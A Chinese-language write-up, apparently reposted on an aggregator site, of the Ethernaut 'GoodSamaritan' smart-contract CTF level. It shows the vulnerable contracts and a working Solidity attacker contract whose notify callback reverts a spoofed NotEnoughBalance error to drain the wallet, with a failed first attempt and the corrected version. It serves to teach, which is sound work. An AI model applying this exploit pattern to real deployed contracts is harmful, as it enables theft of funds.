[区块链安全-Ethernaut]附加GoodSamaritan解题思路

这篇具有很好参考价值的文章主要介绍了[区块链安全-Ethernaut]附加GoodSamaritan解题思路。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

背景

说来也巧,Ethernaut上一篇刚完结,突然点开看到又更新了GoodSamaritan,我干脆单独列出来把。

目标合约分析

总共有三个合约互相作用,分别为GoodSamaritan(慈善家,对外暴露捐款接口)、Coin(慈善家通过钱包创建的代币合约)以及Wallet(由慈善家所有)。本关卡的目的是获取到钱包里所有的余额。

核心代码如下:

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

在接受外部调用requestDonation后,慈善家会通过walletdonate10方法进一步调用cointransfer实现10个代币的转账。合约中做了限定,那就是如果keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)(即余额不足10个代币),就将剩下的都转给用户。

所以分析来看,我们的入口就在这里,否则10个10个来,那不得要等到猴年马月。那现在的问题就是要抛出NotEnoughBalance

cointransfer方法里,对目标地址作了校验,如果是合约,还会主动调用相关方法进行提醒。

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }

我们不能指望wallet去抛出NotEnoughBalance,相反,考虑到coin还与dest有所交互,我们可以利用notify方法在自己的合约中抛出NotEnoughBalance

尝试一:失败的攻击

说干就干,在remix里编写攻击合约,合约代码如下:

pragma solidity ^0.8.0;

interface GoodSamaritan {
    function requestDonation() external returns(bool enoughBalance);
}



contract Attacker {

    error NotEnoughBalance();


    constructor() public{

    }

    function attack(address _addr) public {
            GoodSamaritan(_addr).requestDonation();
    }

    function notify(uint256 amount) external {
        revert  NotEnoughBalance();
    }

}

部署合约后,通过attack方法发起攻击,当notify方法被transfer所调用时,会主动revert抛出自定义的NotEnoughBalance

可是,似乎没有通过。

good samaritan ethernaut,区块链探索,区块链,安全,智能合约

我们进入debug_trace界面,发现transferRemainder(address)对应的0xe40b8658selector的确被调用了。

good samaritan ethernaut,区块链探索,区块链,安全,智能合约
good samaritan ethernaut,区块链探索,区块链,安全,智能合约
但为什么还是失败了呢?

尝试二

原因是我们没有定义好notify,导致在接受所有值时都直接抛出,这会使得最后的转账也失败了!修改notify函数重新部署,仅当接受值为10以下时才抛出错误,这样就能“问心无愧”地接受大额代币了。

    function notify(uint256 amount) external {
        if (amount <= 10){
            revert  NotEnoughBalance();
        }
    }

重新部署,调用attack函数。调用成功!

good samaritan ethernaut,区块链探索,区块链,安全,智能合约
good samaritan ethernaut,区块链探索,区块链,安全,智能合约

总结

这题重点还是要找到入口,找到了就容易了!文章来源地址https://www.toymoban.com/news/detail-806296.html

到了这里,关于[区块链安全-Ethernaut]附加GoodSamaritan解题思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 链表习题-力扣oj (附加思路版)

    LCR 140. 训练计划 II https://leetcode.cn/problems/lian-biao-zhong-dao-shu-di-kge-jie-dian-lcof/         给定一个头节点为  head  的链表用于记录一系列核心肌群训练项目编号,请查找并返回倒数第  cnt  个训练项目编号。 思路:双指针, 快指针先走cnt步 然后快慢指针同时向前走,当快指

    2024年03月09日
    浏览(76)
  • 70. 爬楼梯解题思路

    假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢? 示例 1: 输入:n = 2 输出:2 解释:有两种方法可以爬到楼顶。 1 阶 + 1 阶 2 阶 示例 2: 输入:n = 3 输出:3 解释:有三种方法可以爬到楼顶。 1 阶 + 1 阶

    2024年02月07日
    浏览(27)
  • 动态规划问题解题思路

    !!! 还是要多练题的。不断地提升自己的逻辑能力 确定状态:首先确定问题的状态,即 问题的子问题是什么 ,以及如何表示子问题的状态。状态的选择要满足问题的最优子结构性质。 **定义状态转移方程:** 根据问题的最优子结构性质,推导出状态之间的转移关系,即状

    2024年04月26日
    浏览(38)
  • misc的基本解题思路(一)

    misc的四大部分: 文件操作与隐写 图片隐写术 压缩文件处理 流量取证技术 文件类型识别 File命令 当文件没有后缀名或者有后缀名而无法打开时,根据识别出的文件类型来修改后缀名即可正常打开文件。 使用场景:不知道后缀名,无法打开文件 Linux环境下命令格式:file+文件

    2024年02月10日
    浏览(30)
  • 【算法 | 背包专题】分组背包(解题思路+题单)

    上一节,我们提到了什么是01背包,以及如何求解01背包: 【算法 | 背包专题】01背包(状态定义+状态转移+解题流程+题单) 现在,我们来看分组背包。 分组背包问题是背包问题的一种变形。在这个问题中, 物品被分成了若干组 ,每组中的物品相互冲突,也就是说, 每组只

    2024年04月11日
    浏览(36)
  • leetcode 122双周赛 解题思路+代码

    本人水平有限,只做出3道,最后1道放弃。 给你一个长度为 n 的整数数组 nums 。 一个数组的 代价 是它的 第一个 元素。比方说,[1,2,3] 的代价是 1 ,[3,4,1] 的代价是 3 。 你需要将 nums 分成 3 个 连续且没有交集 的子数组。 请你返回这些子数组的 最小 代价 总和 。 示例 1: 输

    2024年02月20日
    浏览(41)
  • ood解题思路----实物类面向对象

    下面以vending machine为例 Clarify What 输入输出是什么? 大小是否有限制? 无 What items does this vending machine sell? coke、sprite、mountain dew What to do when an item sold out? What are the supposed payment methods? 可以使用strategy design Pattern,不同的付款方式调用不同的接口。此处假设只接受硬币 How ho

    2024年02月11日
    浏览(42)
  • 路由表的更新算法(解题思路)

    某时刻路由器R6的路由表如下表: 第一步:将更新信息的距离+1,把下一路由改为发来更新信息的路由 R4更新表: (黄字为解释) 目的网络 距离 下一跳路由器 net1 3 =2+1 R4 R1在R4的下一跳 net2 5 =4+1 R4 R2在R4的下一跳 net3 4 =3+1 R4 R9在R4的下一跳 第二步:与原表对比 R6的原表: 目

    2024年02月11日
    浏览(79)
  • BUUCTF [MRCTF2020]Ezpop解题思路

    php魔术方法: __call() : 在对象中调用一个不可访问方法时, __call() 会被调用 __toString : 将对象当作一个字符串输出的时候 __wakeup : 反序列化时被调用 __invoke : 当一个对象被作为函数调用时被调用 __get : 当对象访问一个不存在的属性时调用 __construct :创建对象时调用 序列化只

    2024年02月12日
    浏览(35)
  • uniapp uni-combox 下拉提示无匹配项(完美解决--附加源码解决方案及思路)

    匆匆忙忙又到了周一啦,一大早就来了一个头疼的问题,把我难得团团转,呜呜呜~ 下面我用代码的方式展示出来,看下你的代码是否与我的不同。 这是 uni-combox组件 代码,看似一点毛病都没有,控制台也没有报错,一直提示 无匹配项 , drugItems 是在 声明的,赋值也赋上了

    2024年02月14日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包